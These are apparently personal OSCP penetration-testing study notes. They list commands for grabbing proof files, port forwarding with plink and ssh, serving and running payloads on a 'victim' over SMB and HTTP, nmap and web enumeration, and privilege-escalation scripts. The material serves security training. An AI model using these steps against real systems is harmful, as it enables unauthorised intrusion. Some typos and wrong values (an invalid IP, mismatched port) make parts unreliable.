OSCP Prep Notes

Welcome to my learning notes for OSCP by OffensiveSecurity. I will update the metrials here during my 30 days course time.

Taking Proof files

Windows

hostname && whoami && type C:\Documents and Settings\Administrator\Desktop\proof.txt && ipconfig /all

Linux

hostname && whoami && cat /root/proof.txt && /sbin/ifconfig

Pivoting

Windows

Find running service which are listening to loopback only (i.e., 127.0.0.1 or LISTENING/LISTEN in thier status):

netstat -ano

For example, if MySQL found listen locally on 3306 we can use plink.exe to prefrom port forward to our machine:

C:\Windows\Temp> plink.exe -l root -pw toor 192.168.0.101 -R 3306:127.0.0.1:3306

Then in kali you could interact with database locally:

root@kali:~/#: mysql -u root -p 

The plink.exe could be found here: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

Linux

Use Local port forwarding technqiue with ssh command to as following:

alice@vcitimmachine:~/#: ssh -L 3306:127.0.0.1:3306 [email protected]

There are many techniques such as Remote port forwarding, Dynamic port forwarding and SSHuttle tool which might be useful for some cases :)

Transferring files

Rdesktop

If if had a remote dektop machine I used the following command to mount share folder:

root@kali:~/#: rdesktop 192.268.11.10 -r disk:share=/home/bayo/store

SMB Share

In kali use Impacket to create local SMB Share:

root@kali:~/#: python /usr/share/impacket/examples/smbserver.py MyShare /

On victim machine execute my payload via SMB:

C:\> \\192.168.11.10\MyShare\exploit_kernerl.exe

Python Server

On my kali machine, start the Python SimpleHTTPServer on port 80:

root@kali:~/#: python -m SimpleHTTPServer 8080

Then use powershell on victim machine / wget in linux to download my exploit.

Methodology

1. Ports & Services Enumeration using NMAP

root@kali:~/#: nmap -sV -sC -p- <IP>
root@kali:~/#: nmap -sU --top-ports=50 <IP>
root@kali:~/#: nmap --script smb-vuln-* <IP>
root@kali:~/#: nmap -sV -T4 -p- <IP> (Quick method)

2. Enumerate web application

root@kali:~/#: gobuster dir -u <url> -w /usr/share/wordlist/directory-2.3-meduim.txt
root@kali:~/#: nikito -u <url>

3. Post Exploition

After gaining inital acsses to shell and prompt TTY shell, then running one of the following script to enumrate:

Windows:

• Powerup - https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
• JAWS - https://github.com/411Hall/JAWS

Linux:

• LinEnum.sh - https://github.com/rebootuser/LinEnum
• LSE - https://github.com/diego-treitos/linux-smart-enumeration

If none of them works, move to manully search.

4. Priviliage esclation

Depend on the attack vector preform priviliage esclation.